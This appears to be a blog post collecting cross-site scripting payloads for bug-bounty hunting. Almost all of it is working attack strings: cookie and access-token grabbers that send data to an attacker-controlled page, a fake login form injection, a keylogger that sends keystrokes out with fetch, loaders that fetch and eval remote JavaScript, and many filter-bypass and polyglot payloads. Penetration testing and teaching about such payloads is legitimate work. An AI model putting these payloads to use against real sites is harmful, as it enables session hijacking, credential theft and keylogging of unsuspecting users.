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Cross site scripting (XSS) Payloads

Pintu Solanki
3 min readApr 3, 2021

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How does XSS work?

Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users. When the malicious code executes inside a victim’s browser, the attacker can fully compromise their interaction with the application.

Data grabber for XSS

Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page.

<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>

UI redressing

Leverage the XSS to modify the HTML content of the page in order to display a fake login form.

<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>

Javascript keylogger

Another way to collect sensitive data is to set a javascript keylogger.

<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>

XSS in HTML/Applications

Common Payloads

// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>

XSS using HTML5 tags

<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter><body ontouchstart=alert(1)> // Triggers when a finger touch the screen
<body ontouchend=alert(1)>   // Triggers when a finger is removed from touch screen
<body ontouchmove=alert(1)>  // When a finger is dragged across the screen.

XSS using a remote JS

<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
// you can also specify an arbitrary payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)

XSS in hidden input

<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event

DOM based XSS

Based on a DOM XSS sink.

#"><img src=/ onerror=alert(2)>

XSS in JS Context

-(confirm)(document.domain)//
; alert(1);//
// (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)

XSS in files

** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.

<name>
  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>

XSS in XML

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>

XSS in SVG

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

XSS in SVG (short)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/><svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>

XSS in Markdown

[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

XSS in SWF flash application

Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);

XSS in SWF flash application

flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
plupload.flash.swf?%#target%g=alert&uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//

XSS in CSS

<!DOCTYPE html>
<html>
<head>
<style>
div  {
    background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
    background-color: #cccccc;
}
</style>
</head>
  <body>
    <div>lol</div>
  </body>
</html>

XSS in PostMessage

If the target origin is asterisk * the message can be sent to any domain has reference to the child page.

<html>
<body>
    <input type=button value="Click Me" id="btn">
</body><script>
document.getElementById('btn').onclick = function(e){
    window.poc = window.open('http://www.redacted.com/#login');
    setTimeout(function(){
        window.poc.postMessage(
            {
                "sender": "accounts",
                "url": "javascript:confirm('XSS')",
            },
            '*'
        );
    }, 2000);
}
</script>
</html>

Blind XSS

XSS Hunter

XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.

"><script src=//yoursubdomain.xss.ht></script>javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)')<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//yoursubdomain.xss.ht");a.send();</script><script>$.getScript("//yoursubdomain.xss.ht")</script>

Polyglot XSS

Polyglot XSS — 0xsobky

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Polyglot XSS — Ashar Javed

">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">

Polyglot XSS — Mathias Karlsson

" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

Polyglot XSS — Rsnake

';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

Polyglot XSS — Daniel Miessler

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*

Polyglot XSS — from @filedescriptor’s Polyglot Challenge

# by crlf
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//># by europa
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//># by EdOverflow
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//># by h1/ragnar
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`

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Xss Attack
Payload
Bugsbounty
Hackerrank
Androx47

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Pintu Solanki

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